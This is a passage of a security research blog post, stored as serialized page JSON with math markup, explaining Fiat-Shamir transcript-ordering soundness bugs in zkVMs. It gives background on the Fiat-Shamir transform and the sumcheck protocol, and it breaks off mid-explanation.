polynomials.",{"type":22,"tag":23,"props":111895,"children":111896},{},[111897,111899,111904],{"type":27,"value":111898},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":22,"tag":9370,"props":111900,"children":111901},{},[111902],{"type":27,"value":111903},"soundness",{"type":27,"value":169},{"type":22,"tag":6839,"props":111906,"children":111907},{},[111908,111918],{"type":22,"tag":6832,"props":111909,"children":111910},{},[111911,111916],{"type":22,"tag":9370,"props":111912,"children":111913},{},[111914],{"type":27,"value":111915},"Completeness",{"type":27,"value":111917},": honest execution verifies.",{"type":22,"tag":6832,"props":111919,"children":111920},{},[111921,111926],{"type":22,"tag":9370,"props":111922,"children":111923},{},[111924],{"type":27,"value":111925},"Soundness",{"type":27,"value":111927},": false execution should not verify.",{"type":22,"tag":23,"props":111929,"children":111930},{},[111931,111933,111937],{"type":27,"value":111932},"We are breaking ",{"type":22,"tag":9370,"props":111934,"children":111935},{},[111936],{"type":27,"value":111903},{"type":27,"value":111938}," in all six systems.",{"type":22,"tag":23,"props":111940,"children":111941},{},[111942],{"type":27,"value":111943},"In all six codebases, verification follows this abstract flow:",{"type":22,"tag":6828,"props":111945,"children":111946},{},[111947,111952,111957,111962,111967,111972],{"type":22,"tag":6832,"props":111948,"children":111949},{},[111950],{"type":27,"value":111951},"Fix public statement data.",{"type":22,"tag":6832,"props":111953,"children":111954},{},[111955],{"type":27,"value":111956},"Parse proof payload (commitments, reduction messages, openings).",{"type":22,"tag":6832,"props":111958,"children":111959},{},[111960],{"type":27,"value":111961},"Rebuild Fiat-Shamir challenges from transcript state.",{"type":22,"tag":6832,"props":111963,"children":111964},{},[111965],{"type":27,"value":111966},"Check constraint equations at sampled points.",{"type":22,"tag":6832,"props":111968,"children":111969},{},[111970],{"type":27,"value":111971},"Check PCS/opening consistency.",{"type":22,"tag":6832,"props":111973,"children":111974},{},[111975],{"type":27,"value":111976},"Accept only if all checks are jointly consistent.",{"type":22,"tag":23,"props":111978,"children":111979},{},[111980],{"type":22,"tag":7959,"props":111981,"children":111984},{"alt":111982,"src":111983},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":22,"tag":23,"props":111986,"children":111987},{},[111988],{"type":27,"value":111989},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":22,"tag":1398,"props":111991,"children":111992},{},[],{"type":22,"tag":53,"props":111994,"children":111996},{"id":111995},"the-building-blocks",[111997],{"type":27,"value":111998},"The Building Blocks",{"type":22,"tag":23,"props":112000,"children":112001},{},[112002],{"type":27,"value":112003},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":22,"tag":1760,"props":112005,"children":112007},{"id":112006},"the-fiat-shamir-transform",[112008],{"type":27,"value":112009},"The Fiat-Shamir Transform",{"type":22,"tag":23,"props":112011,"children":112012},{},[112013],{"type":27,"value":112014},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":22,"tag":23,"props":112016,"children":112017},{},[112018],{"type":27,"value":112019},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":22,"tag":23,"props":112021,"children":112022},{},[112023],{"type":22,"tag":7959,"props":112024,"children":112027},{"alt":112025,"src":112026},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":22,"tag":23,"props":112029,"children":112030},{},[112031,112033,112037,112039,112044],{"type":27,"value":112032},"The hash (transcript) ",{"type":22,"tag":9370,"props":112034,"children":112035},{},[112036],{"type":27,"value":10547},{"type":27,"value":112038}," include everything that affects verification ",{"type":22,"tag":9370,"props":112040,"children":112041},{},[112042],{"type":27,"value":112043},"BEFORE",{"type":27,"value":112045}," the challenges derived from it are used.",{"type":22,"tag":23,"props":112047,"children":112048},{},[112049,112051,112077,112079,112104,112106,112131,112133,112158,112160,112185],{"type":27,"value":112050},"If some value ",{"type":22,"tag":30,"props":112052,"children":112054},{"className":112053},[8026,8027],[112055],{"type":22,"tag":101,"props":112056,"children":112058},{"className":112057},[8032],[112059],{"type":22,"tag":101,"props":112060,"children":112062},{"className":112061,"ariaHidden":5608},[8037],[112063],{"type":22,"tag":101,"props":112064,"children":112066},{"className":112065},[8042],[112067,112071],{"type":22,"tag":101,"props":112068,"children":112070},{"className":112069,"style":25570},[8047],[],{"type":22,"tag":101,"props":112072,"children":112074},{"className":112073,"style":111752},[8053,25575],[112075],{"type":27,"value":112076},"V",{"type":27,"value":112078}," affects a verification equation, but ",{"type":22,"tag":30,"props":112080,"children":112082},{"className":112081},[8026,8027],[112083],{"type":22,"tag":101,"props":112084,"children":112086},{"className":112085},[8032],[112087],{"type":22,"tag":101,"props":112088,"children":112090},{"className":112089,"ariaHidden":5608},[8037],[112091],{"type":22,"tag":101,"props":112092,"children":112094},{"className":112093},[8042],[112095,112099],{"type":22,"tag":101,"props":112096,"children":112098},{"className":112097,"style":25570},[8047],[],{"type":22,"tag":101,"props":112100,"children":112102},{"className":112101,"style":111752},[8053,25575],[112103],{"type":27,"value":112076},{"type":27,"value":112105}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":22,"tag":30,"props":112107,"children":112109},{"className":112108},[8026,8027],[112110],{"type":22,"tag":101,"props":112111,"children":112113},{"className":112112},[8032],[112114],{"type":22,"tag":101,"props":112115,"children":112117},{"className":112116,"ariaHidden":5608},[8037],[112118],{"type":22,"tag":101,"props":112119,"children":112121},{"className":112120},[8042],[112122,112126],{"type":22,"tag":101,"props":112123,"children":112125},{"className":112124,"style":25570},[8047],[],{"type":22,"tag":101,"props":112127,"children":112129},{"className":112128,"style":111752},[8053,25575],[112130],{"type":27,"value":112076},{"type":27,"value":112132},". This means that the prover can \"see\" (compute in advance) the challenge before choosing ",{"type":22,"tag":30,"props":112134,"children":112136},{"className":112135},[8026,8027],[112137],{"type":22,"tag":101,"props":112138,"children":112140},{"className":112139},[8032],[112141],{"type":22,"tag":101,"props":112142,"children":112144},{"className":112143,"ariaHidden":5608},[8037],[112145],{"type":22,"tag":101,"props":112146,"children":112148},{"className":112147},[8042],[112149,112153],{"type":22,"tag":101,"props":112150,"children":112152},{"className":112151,"style":25570},[8047],[],{"type":22,"tag":101,"props":112154,"children":112156},{"className":112155,"style":111752},[8053,25575],[112157],{"type":27,"value":112076},{"type":27,"value":112159},", which may allow it to choose ",{"type":22,"tag":30,"props":112161,"children":112163},{"className":112162},[8026,8027],[112164],{"type":22,"tag":101,"props":112165,"children":112167},{"className":112166},[8032],[112168],{"type":22,"tag":101,"props":112169,"children":112171},{"className":112170,"ariaHidden":5608},[8037],[112172],{"type":22,"tag":101,"props":112173,"children":112175},{"className":112174},[8042],[112176,112180],{"type":22,"tag":101,"props":112177,"children":112179},{"className":112178,"style":25570},[8047],[],{"type":22,"tag":101,"props":112181,"children":112183},{"className":112182,"style":111752},[8053,25575],[112184],{"type":27,"value":112076},{"type":27,"value":112186}," exactly so that the verification passes, even though it should not.",{"type":22,"tag":23,"props":112188,"children":112189},{},[112190],{"type":27,"value":112191},"This is the bug class we found in all six systems.",{"type":22,"tag":1760,"props":112193,"children":112195},{"id":112194},"the-sumcheck-protocol",[112196],{"type":27,"value":112197},"The Sumcheck Protocol",{"type":22,"tag":23,"props":112199,"children":112200},{},[112201,112203,112289],{"type":27,"value":112202},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in ",{"type":22,"tag":30,"props":112204,"children":112206},{"className":112205},[8026,8027],[112207],{"type":22,"tag":101,"props":112208,"children":112210},{"className":112209},[8032],[112211],{"type":22,"tag":101,"props":112212,"children":112214},{"className":112213,"ariaHidden":5608},[8037],[112215],{"type":22,"tag":101,"props":112216,"children":112218},{"className":112217},[8042],[112219,112223,112228,112233,112238,112242,112247],{"type":22,"tag":101,"props":112220,"children":112222},{"className":112221,"style":8154},[8047],[],{"type":22,"tag":101,"props":112224,"children":112226},{"className":112225},[25704],[112227],{"type":27,"value":80125},{"type":22,"tag":101,"props":112229,"children":112231},{"className":112230},[8053],[112232],{"type":27,"value":8065},{"type":22,"tag":101,"props":112234,"children":112236},{"className":112235},[8165],[112237],{"type":27,"value":8168},{"type":22,"tag":101,"props":112239,"children":112241},{"className":112240,"style":8172},[8133],[],{"type":22,"tag":101,"props":112243,"children":112245},{"className":112244},[8053],[112246],{"type":27,"value":6813},{"type":22,"tag":101,"props":112248,"children":112250},{"className":112249},[25726],[112251,112256],{"type":22,"tag":101,"props":112252,"children":112254},{"className":112253},[25726],[112255],{"type":27,"value":38136},{"type":22,"tag":101,"props":112257,"children":112259},{"className":112258},[8069],[112260],{"type":22,"tag":101,"props":112261,"children":112263},{"className":112262},[8074],[112264],{"type":22,"tag":101,"props":112265,"children":112267},{"className":112266},[8079],[112268],{"type":22,"tag":101,"props":112269,"children":112272},{"className":112270,"style":112271},[8084],"height:0.6644em;",[112273],{"type":22,"tag":101,"props":112274,"children":112275},{"style":8088},[112276,112280],{"type":22,"tag":101,"props":112277,"children":112279},{"className":112278,"style":8094},[8093],[],{"type":22,"tag":101,"props":112281,"children":112283},{"className":112282},[8099,8100,8101,8102],[112284],{"type":22,"tag":101,"props":112285,"children":112287},{"className":112286},[8053,25575,8102],[112288],{"type":27,"value":60400},{"type":27,"value":112290},"), i.e the claim:",{"type":22,"tag":23,"props":112292,"children":112293},{},[112294],{"type":22,"tag":30,"props":112295,"children":112297},{"className":112296},[8026,8027],[112298],{"type":22,"tag":101,"props":112299,"children":112301},{"className":112300},[8032],[112302],{"type":22,"tag":101,"props":112303,"children":112305},{"className":112304,"ariaHidden":5608},[8037],[112306,112332],{"type":22,"tag":101,"props":112307,"children":112309},{"className":112308},[8042],[112310,112314,112319,112323,112328],{"type":22,"tag":101,"props":112311,"children":112313},{"className":112312,"style":25570},[8047],[],{"type":22,"tag":101,"props":112315,"children":112317},{"className":112316,"style":96788},[8053,25575],[112318],{"type":27,"value":96791},{"type":22,"tag":101,"props":112320,"children":112322},{"className":112321,"style":8231},[8133],[],{"type":22,"tag":101,"props":112324,"children":112326},{"className":112325},[8236],[112327],{"type":27,"value":1511},{"type":22,"tag":101,"props":112329,"children":112331},{"className":112330,"style":8231},[8133],[],{"type":22,"tag":101,"props":112333,"children":112335},{"className":112334},[8042],[112336,112340,112490,112494,112637,112641,112648,112652,112796,112800,112806,112811,112868,112873,112877,112934,112939,112943,112949,112953,112958,112962,113020],{"type":22,"tag":101,"props":112337,"children":112339},{"className":112338,"style":25606},[8047],[],{"type":22,"tag":101,"props":112341,"children":112343},{"className":112342},[25611],[112344,112350],{"type":22,"tag":101,"props":112345,"children":112347},{"className":112346,"style":25618},[25611,25616,25617],[112348],{"type":27,"value":112349},"∑",{"type":22,"tag":101,"props":112351,"children":112353},{"className":112352},[8069],[112354],{"type":22,"tag":101,"props":112355,"children":112357},{"className":112356},[8074,25629],[112358,112479],{"type":22,"tag":101,"props":112359,"children":112361},{"className":112360},[8079],[112362,112474],{"type":22,"tag":101,"props":112363,"children":112365},{"className":112364,"style":25638},[8084],[112366],{"type":22,"tag":101,"props":112367,"children":112368},{"style":25642},[112369,112373],{"type":22,"tag":101,"props":112370,"children":112372},{"className":112371,"style":8094},[8093],[],{"type":22,"tag":101,"props":112374,"children":112376},{"className":112375},[8099,8100,8101,8102],[112377],{"type":22,"tag":101,"props":112378,"children":112380},{"className":112379},[8053,8102],[112381,112444,112449,112454,112459,112464,112469],{"type":22,"tag":101,"props":112382,"children":112384},{"className":112383},[8053,8102],[112385,112390],{"type":22,"tag":101,"props":112386,"children":112388},{"className":112387},[8053,25575,8102],[112389],{"type":27,"value":23266},{"type":22,"tag":101,"props":112391,"children":112393},{"className":112392},[8069],[112394],{"type":22,"tag":101,"props":112395,"children":112397},{"className":112396},[8074,25629],[112398,112432],{"type":22,"tag":101,"props":112399,"children":112401},{"className":112400},[8079],[112402,112427],{"type":22,"tag":101,"props":112403,"children":112406},{"className":112404,"style":112405},[8084],"height:0.3173em;",[112407],{"type":22,"tag":101,"props":112408,"children":112410},{"style":112409},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[112411,112416],{"type":22,"tag":101,"props":112412,"children":112415},{"className":112413,"style":112414},[8093],"height:2.5em;",[],{"type":22,"tag":101,"props":112417,"children":112421},{"className":112418},[8099,112419,112420,8102],"reset-size3","size1",[112422],{"type":22,"tag":101,"props":112423,"children":112425},{"className":112424},[8053,8102],[112426],{"type":27,"value":6813},{"type":22,"tag":101,"props":112428,"children":112430},{"className":112429},[25732],[112431],{"type":27,"value":25735},{"type":22,"tag":101,"props":112433,"children":112435},{"className":112434},[8079],[112436],{"type":22,"tag":101,"props":112437,"children":112440},{"className":112438,"style":112439},[8084],"height:0.143em;",[112441],{"type":22,"tag":101,"props":112442,"children":112443},{},[],{"type":22,"tag":101,"props":112445,"children":112447},{"className":112446},[8236,8102],[112448],{"type":27,"value":25682},{"type":22,"tag":101,"props":112450,"children":112452},{"className":112451},[25704,8102],[112453],{"type":27,"value":80125},{"type":22,"tag":101,"props":112455,"children":112457},{"className":112456},[8053,8102],[112458],{"type":27,"value":8065},{"type":22,"tag":101,"props":112460,"children":112462},{"className":112461},[8165,8102],[112463],{"type":27,"value":8168},{"type":22,"tag":101,"props":112465,"children":112467},{"className":112466},[8053,8102],[112468],{"type":27,"value":6813},{"type":22,"tag":101,"props":112470,"children":112472},{"className":112471},[25726,8102],[112473],{"type":27,"value":38136},{"type":22,"tag":101,"props":112475,"children":112477},{"className":112476},[25732],[112478],{"type":27,"value":25735},{"type":22,"tag":101,"props":112480,"children":112482},{"className":112481},[8079],[112483],{"type":22,"tag":101,"props":112484,"children":112486},{"className":112485,"style":25743},[8084],[112487],{"type":22,"tag":101,"props":112488,"children":112489},{},[],{"type":22,"tag":101,"props":112491,"children":112493},{"className":112492,"style":8172},[8133],[],{"type":22,"tag":101,"props":112495,"children":112497},{"className":112496},[25611],[112498,112503],{"type":22,"tag":101,"props":112499,"children":112501},{"className":112500,"style":25618},[25611,25616,25617],[112502],{"type":27,"value":112349},{"type":22,"tag":101,"props":112504,"children":112506},{"className":112505},[8069],[112507],{"type":22,"tag":101,"props":112508,"children":112510},{"className":112509},[8074,25629],[112511,112626],{"type":22,"tag":101,"props":112512,"children":112514},{"className":112513},[8079],[112515,112621],{"type":22,"tag":101,"props":112516,"children":112518},{"className":112517,"style":25638},[8084],[112519],{"type":22,"tag":101,"props":112520,"children":112521},{"style":25642},[112522,112526],{"type":22,"tag":101,"props":112523,"children":112525},{"className":112524,"style":8094},[8093],[],{"type":22,"tag":101,"props":112527,"children":112529},{"className":112528},[8099,8100,8101,8102],[112530],{"type":22,"tag":101,"props":112531,"children":112533},{"className":112532},[8053,8102],[112534,112591,112596,112601,112606,112611,112616],{"type":22,"tag":101,"props":112535,"children":112537},{"className":112536},[8053,8102],[112538,112543],{"type":22,"tag":101,"props":112539,"children":112541},{"className":112540},[8053,25575,8102],[112542],{"type":27,"value":23266},{"type":22,"tag":101,"props":112544,"children":112546},{"className":112545},[8069],[112547],{"type":22,"tag":101,"props":112548,"children":112550},{"className":112549},[8074,25629],[112551,112580],{"type":22,"tag":101,"props":112552,"children":112554},{"className":112553},[8079],[112555,112575],{"type":22,"tag":101,"props":112556,"children":112558},{"className":112557,"style":112405},[8084],[112559],{"type":22,"tag":101,"props":112560,"children":112561},{"style":112409},[112562,112566],{"type":22,"tag":101,"props":112563,"children":112565},{"className":112564,"style":112414},[8093],[],{"type":22,"tag":101,"props":112567,"children":112569},{"className":112568},[8099,112419,112420,8102],[112570],{"type":22,"tag":101,"props":112571,"children":112573},{"className":112572},[8053,8102],[112574],{"type":27,"value":7164},{"type":22,"tag":101,"props":112576,"children":112578},{"className":112577},[25732],[112579],{"type":27,"value":25735},{"type":22,"tag":101,"props":112581,"children":112583},{"className":112582},[8079],[112584],{"type":22,"tag":101,"props":112585,"children":112587},{"className":112586,"style":112439},[8084],[112588],{"type":22,"tag":101,"props":112589,"children":112590},{},[],{"type":22,"tag":101,"props":112592,"children":112594},{"className":112593},[8236,8102],[112595],{"type":27,"value":25682},{"type":22,"tag":101,"props":112597,"children":112599},{"className":112598},[25704,8102],[112600],{"type":27,"value":80125},{"type":22,"tag":101,"props":112602,"children":112604},{"className":112603},[8053,8102],[112605],{"type":27,"value":8065},{"type":22,"tag":101,"props":112607,"children":112609},{"className":112608},[8165,8102],[112610],{"type":27,"value":8168},{"type":22,"tag":101,"props":112612,"children":112614},{"className":112613},[8053,8102],[112615],{"type":27,"value":6813},{"type":22,"tag":101,"props":112617,"children":112619},{"className":112618},[25726,8102],[112620],{"type":27,"value":38136},{"type":22,"tag":101,"props":112622,"children":112624},{"className":112623},[25732],[112625],{"type":27,"value":25735},{"type":22,"tag":101,"props":112627,"children":112629},{"className":112628},[8079],[112630],{"type":22,"tag":101,"props":112631,"children":112633},{"className":112632,"style":25743},[8084],[112634],{"type":22,"tag":101,"props":112635,"children":112636},{},[],{"type":22,"tag":101,"props":112638,"children":112640},{"className":112639,"style":8172},[8133],[],{"type":22,"tag":101,"props":112642,"children":112645},{"className":112643},[112644],"minner",[112646],{"type":27,"value":112647},"⋯",{"type":22,"tag":101,"props":112649,"children":112651},{"className":112650,"style":8172},[8133],[],{"type":22,"tag":101,"props":112653,"children":112655},{"className":112654},[25611],[112656,112661],{"type":22,"tag":101,"props":112657,"children":112659},{"className":112658,"style":25618},[25611,25616,25617],[112660],{"type":27,"value":112349},{"type":22,"tag":101,"props":112662,"children":112664},{"className":112663},[8069],[112665],{"type":22,"tag":101,"props":112666,"children":112668},{"className":112667},[8074,25629],[112669,112785],{"type":22,"tag":101,"props":112670,"children":112672},{"className":112671},[8079],[112673,112780],{"type":22,"tag":101,"props":112674,"children":112676},{"className":112675,"style":25638},[8084],[112677],{"type":22,"tag":101,"props":112678,"children":112679},{"style":25642},[112680,112684],{"type":22,"tag":101,"props":112681,"children":112683},{"className":112682,"style":8094},[8093],[],{"type":22,"tag":101,"props":112685,"children":112687},{"className":112686},[8099,8100,8101,8102],[112688],{"type":22,"tag":101,"props":112689,"children":112691},{"className":112690},[8053,8102],[112692,112750,112755,112760,112765,112770,112775],{"type":22,"tag":101,"props":112693,"children":112695},{"className":112694},[8053,8102],[112696,112701],{"type":22,"tag":101,"props":112697,"children":112699},{"className":112698},[8053,25575,8102],[112700],{"type":27,"value":23266},{"type":22,"tag":101,"props":112702,"children":112704},{"className":112703},[8069],[112705],{"type":22,"tag":101,"props":112706,"children":112708},{"className":112707},[8074,25629],[112709,112739],{"type":22,"tag":101,"props":112710,"children":112712},{"className":112711},[8079],[112713,112734],{"type":22,"tag":101,"props":112714,"children":112717},{"className":112715,"style":112716},[8084],"height:0.1645em;",[112718],{"type":22,"tag":101,"props":112719,"children":112720},{"style":112409},[112721,112725],{"type":22,"tag":101,"props":112722,"children":112724},{"className":112723,"style":112414},[8093],[],{"type":22,"tag":101,"props":112726,"children":112728},{"className":112727},[8099,112419,112420,8102],[112729],{"type":22,"tag":101,"props":112730,"children":112732},{"className":112731},[8053,25575,8102],[112733],{"type":27,"value":60400},{"type":22,"tag":101,"props":112735,"children":112737},{"className":112736},[25732],[112738],{"type":27,"value":25735},{"type":22,"tag":101,"props":112740,"children":112742},{"className":112741},[8079],[112743],{"type":22,"tag":101,"props":112744,"children":112746},{"className":112745,"style":112439},[8084],[112747],{"type":22,"tag":101,"props":112748,"children":112749},{},[],{"type":22,"tag":101,"props":112751,"children":112753},{"className":112752},[8236,8102],[112754],{"type":27,"value":25682},{"type":22,"tag":101,"props":112756,"children":112758},{"className":112757},[25704,8102],[112759],{"type":27,"value":80125},{"type":22,"tag":101,"props":112761,"children":112763},{"className":112762},[8053,8102],[112764],{"type":27,"value":8065},{"type":22,"tag":101,"props":112766,"children":112768},{"className":112767},[8165,8102],[112769],{"type":27,"value":8168},{"type":22,"tag":101,"props":112771,"children":112773},{"className":112772},[8053,8102],[112774],{"type":27,"value":6813},{"type":22,"tag":101,"props":112776,"children":112778},{"className":112777},[25726,8102],[112779],{"type":27,"value":38136},{"type":22,"tag":101,"props":112781,"children":112783},{"className":112782},[25732],[112784],{"type":27,"value":25735},{"type":22,"tag":101,"props":112786,"children":112788},{"className":112787},[8079],[112789],{"type":22,"tag":101,"props":112790,"children":112792},{"className":112791,"style":25743},[8084],[112793],{"type":22,"tag":101,"props":112794,"children":112795},{},[],{"type":22,"tag":101,"props":112797,"children":112799},{"className":112798,"style":8172},[8133],[],{"type":22,"tag":101,"props":112801,"children":112803},{"className":112802,"style":97040},[8053,25575],[112804],{"type":27,"value":112805},"g",{"type":22,"tag":101,"props":112807,"children":112809},{"className":112808},[25704],[112810],{"type":27,"value":980},{"type":22,"tag":101,"props":112812,"children":112814},{"className":112813},[8053],[112815,112820],{"type":22,"tag":101,"props":112816,"children":112818},{"className":112817},[8053,25575],[112819],{"type":27,"value":23266},{"type":22,"tag":101,"props":112821,"children":112823},{"className":112822},[8069],[112824],{"type":22,"tag":101,"props":112825,"children":112827},{"className":112826},[8074,25629],[112828,112857],{"type":22,"tag":101,"props":112829,"children":112831},{"className":112830},[8079],[112832,112852],{"type":22,"tag":101,"props":112833,"children":112835},{"className":112834,"style":96606},[8084],[112836],{"type":22,"tag":101,"props":112837,"children":112838},{"style":96610},[112839,112843],{"type":22,"tag":101,"props":112840,"children":112842},{"className":112841,"style":8094},[8093],[],{"type":22,"tag":101,"props":112844,"children":112846},{"className":112845},[8099,8100,8101,8102],[112847],{"type":22,"tag":101,"props":112848,"children":112850},{"className":112849},[8053,8102],[112851],{"type":27,"value":6813},{"type":22,"tag":101,"props":112853,"children":112855},{"className":112854},[25732],[112856],{"type":27,"value":25735},{"type":22,"tag":101,"props":112858,"children":112860},{"className":112859},[8079],[112861],{"type":22,"tag":101,"props":112862,"children":112864},{"className":112863,"style":96637},[8084],[112865],{"type":22,"tag":101,"props":112866,"children":112867},{},[],{"type":22,"tag":101,"props":112869,"children":112871},{"className":112870},[8165],[112872],{"type":27,"value":8168},{"type":22,"tag":101,"props":112874,"children":112876},{"className":112875,"style":8172},[8133],[],{"type":22,"tag":101,"props":112878,"children":112880},{"className":112879},[8053],[112881,112886],{"type":22,"tag":101,"props":112882,"children":112884},{"className":112883},[8053,25575],[112885],{"type":27,"value":23266},{"type":22,"tag":101,"props":112887,"children":112889},{"className":112888},[8069],[112890],{"type":22,"tag":101,"props":112891,"children":112893},{"className":112892},[8074,25629],[112894,112923],{"type":22,"tag":101,"props":112895,"children":112897},{"className":112896},[8079],[112898,112918],{"type":22,"tag":101,"props":112899,"children":112901},{"className":112900,"style":96606},[8084],[112902],{"type":22,"tag":101,"props":112903,"children":112904},{"style":96610},[112905,112909],{"type":22,"tag":101,"props":112906,"children":112908},{"className":112907,"style":8094},[8093],[],{"type":22,"tag":101,"props":112910,"children":112912},{"className":112911},[8099,8100,8101,8102],[112913],{"type":22,"tag":101,"props":112914,"children":112916},{"className":112915},[8053,8102],[112917],{"type":27,"value":7164},{"type":22,"tag":101,"props":112919,"children":112921},{"className":112920},[25732],[112922],{"type":27,"value":25735},{"type":22,"tag":101,"props":112924,"children":112926},{"className":112925},[8079],[112927],{"type":22,"tag":101,"props":112928,"children":112930},{"className":112929,"style":96637},[8084],[112931],{"type":22,"tag":101,"props":112932,"children":112933},{},[],{"type":22,"tag":101,"props":112935,"children":112937},{"className":112936},[8165],[112938],{"type":27,"value":8168},{"type":22,"tag":101,"props":112940,"children":112942},{"className":112941,"style":8172},[8133],[],{"type":22,"tag":101,"props":112944,"children":112946},{"className":112945},[112644],[112947],{"type":27,"value":112948},"…",{"type":22,"tag":101,"props":112950,"children":112952},{"className":112951,"style":8172},[8133],[],{"type":22,"tag":101,"props":112954,"children":112956},{"className":112955},[8165],[112957],{"type":27,"value":8168},{"type":22,"tag":101,"props":112959,"children":112961},{"className":112960,"style":8172},[8133],[],{"type":22,"tag":101,"props":112963,"children":112965},{"className":112964},[8053],[112966,112971],{"type":22,"tag":101,"props":112967,"children":112969},{"className":112968},[8053,25575],[112970],{"type":27,"value":23266},{"type":22,"tag":101,"props":112972,"children":112974},{"className":112973},[8069],[112975],{"type":22,"tag":101,"props":112976,"children":112978},{"className":112977},[8074,25629],[112979,113009],{"type":22,"tag":101,"props":112980,"children":112982},{"className":112981},[8079],[112983,113004],{"type":22,"tag":101,"props":112984,"children":112987},{"className":112985,"style":112986},[8084],"height:0.1514em;",[112988],{"type":22,"tag":101,"props":112989,"children":112990},{"style":96610},[112991,112995],{"type":22,"tag":101,"props":112992,"children":112994},{"className":112993,"style":8094},[8093],[],{"type":22,"tag":101,"props":112996,"children":112998},{"className":112997},[8099,8100,8101,8102],[112999],{"type":22,"tag":101,"props":113000,"children":113002},{"className":113001},[8053,25575,8102],[113003],{"type":27,"value":60400},{"type":22,"tag":101,"props":113005,"children":113007},{"className":113006},[25732],[113008],{"type":27,"value":25735},{"type":22,"tag":101,"props":113010,"children":113012},{"className":113011},[8079],[113013],{"type":22,"tag":101,"props":113014,"children":113016},{"className":113015,"style":96637},[8084],[113017],{"type":22,"tag":101,"props":113018,"children":113019},{},[],{"type":22,"tag":101,"props":113021,"children":113023},{"className":113022},[25726],[113024],{"type":27,"value":2261},{"type":22,"tag":23,"props":113026,"children":113027},{},[113028,113030,113091],{"type":27,"value":113029},"The naive approach would be for the verifier to compute all ",{"type":22,"tag":30,"props":113031,"children":113033},{"className":113032},[8026,8027],[113034],{"type":22,"tag":101,"props":113035,"children":113037},{"className":113036},[8032],[113038],{"type":22,"tag":101,"props":113039,"children":113041},{"className":113040,"ariaHidden":5608},[8037],[113042],{"type":22,"tag":101,"props":113043,"children":113045},{"className":113044},[8042],[113046,113050],{"type":22,"tag":101,"props":113047,"children":113049},{"className":113048,"style":112271},[8047],[],{"type":22,"tag":101,"props":113051,"children":113053},{"className":113052},[8053],[113054,113059],{"type":22,"tag":101,"props":113055,"children":113057},{"className":113056},[8053],[113058],{"type":27,"value":7164},{"type":22,"tag":101,"props":113060,"children":113062},{"className":113061},[8069],[113063],{"type":22,"tag":101,"props":113064,"children":113066},{"className":113065},[8074],[113067],{"type":22,"tag":101,"props":113068,"children":113070},{"className":113069},[8079],[113071],{"type":22,"tag":101,"props":113072,"children":113074},{"className":113073,"style":112271},[8084],[113075],{"type":22,"tag":101,"props":113076,"children":113077},{"style":8088},[113078,113082],{"type":22,"tag":101,"props":113079,"children":113081},{"className":113080,"style":8094},[8093],[],{"type":22,"tag":101,"props":113083,"children":113085},{"className":113084},[8099,8100,8101,8102],[113086],{"type":22,"tag":101,"props":113087,"children":113089},{"className":113088},[8053,25575,8102],[113090],{"type":27,"value":60400},{"type":27,"value":113092}," evaluations. This is exponentially expensive.",{"type":22,"tag":23,"props":113094,"children":113095},{},[113096,113098,113103],{"type":27,"value":113097},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":22,"tag":9370,"props":113099,"children":113100},{},[113101],{"type":27,"value":113102},"only one",{"type":27,"value":231},{"type":22,"tag":23,"props":113105,"children":113106},{},[113107],{"type":22,"tag":7959,"props":113108,"children":113111},{"alt":113109,"src":113110},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":22,"tag":23,"props":113113,"children":113114},{},[113115,113117,113209,113211,113396,113398,113423,113425,113503,113505,113584],{"type":27,"value":113116},"In each round, the prover must send a polynomial ",{"type":22,"tag":30,"props":113118,"children":113120},{"className":113119},[8026,8027],[113121],{"type":22,"tag":101,"props":113122,"children":113124},{"className":113123},[8032],[113125],{"type":22,"tag":101,"props":113126,"children":113128},{"className":113127,"ariaHidden":5608},[8037],[113129],{"type":22,"tag":101,"props":113130,"children":113132},{"className":113131},[8042],[113133,113137,113194,113199,113204],{"type":22,"tag":101,"props":113134,"children":113136},{"className":113135,"style":8154},[8047],[],{"type":22,"tag":101,"props":113138,"children":113140},{"className":113139},[8053],[113141,113146],{"type":22,"tag":101,"props":113142,"children":113144},{"className":113143,"style":97040},[8053,25575],[113145],{"type":27,"value":112805},{"type":22,"tag":101,"props":113147,"children":113149},{"className":113148},[8069],[113150],{"type":22,"tag":101,"props":113151,"children":113153},{"className":113152},[8074,25629],[113154,113183],{"type":22,"tag":101,"props":113155,"children":113157},{"className":113156},[8079],[113158,113178],{"type":22,"tag":101,"props":113159,"children":113161},{"className":113160,"style":97083},[8084],[113162],{"type":22,"tag":101,"props":113163,"children":113164},{"style":97087},[113165,113169],{"type":22,"tag":101,"props":113166,"children":113168},{"className":113167,"style":8094},[8093],[],{"type":22,"tag":101,"props":113170,"children":113172},{"className":113171},[8099,8100,8101,8102],[113173],{"type":22,"tag":101,"props":113174,"children":113176},{"className":113175},[8053,25575,8102],[113177],{"type":27,"value":7774},{"type":22,"tag":101,"props":113179,"children":113181},{"className":113180},[25732],[113182],{"type":27,"value":25735},{"type":22,"tag":101,"props":113184,"children":113186},{"className":113185},[8079],[113187],{"type":22,"tag":101,"props":113188,"children":113190},{"className":113189,"style":96637},[8084],[113191],{"type":22,"tag":101,"props":113192,"children":113193},{},[],{"type":22,"tag":101,"props":113195,"children":113197},{"className":113196},[25704],[113198],{"type":27,"value":980},{"type":22,"tag":101,"props":113200,"children":113202},{"className":113201,"style":98574},[8053,25575],[113203],{"type":27,"value":10165},{"type":22,"tag":101,"props":113205,"children":113207},{"className":113206},[25726],[113208],{"type":27,"value":2261},{"type":27,"value":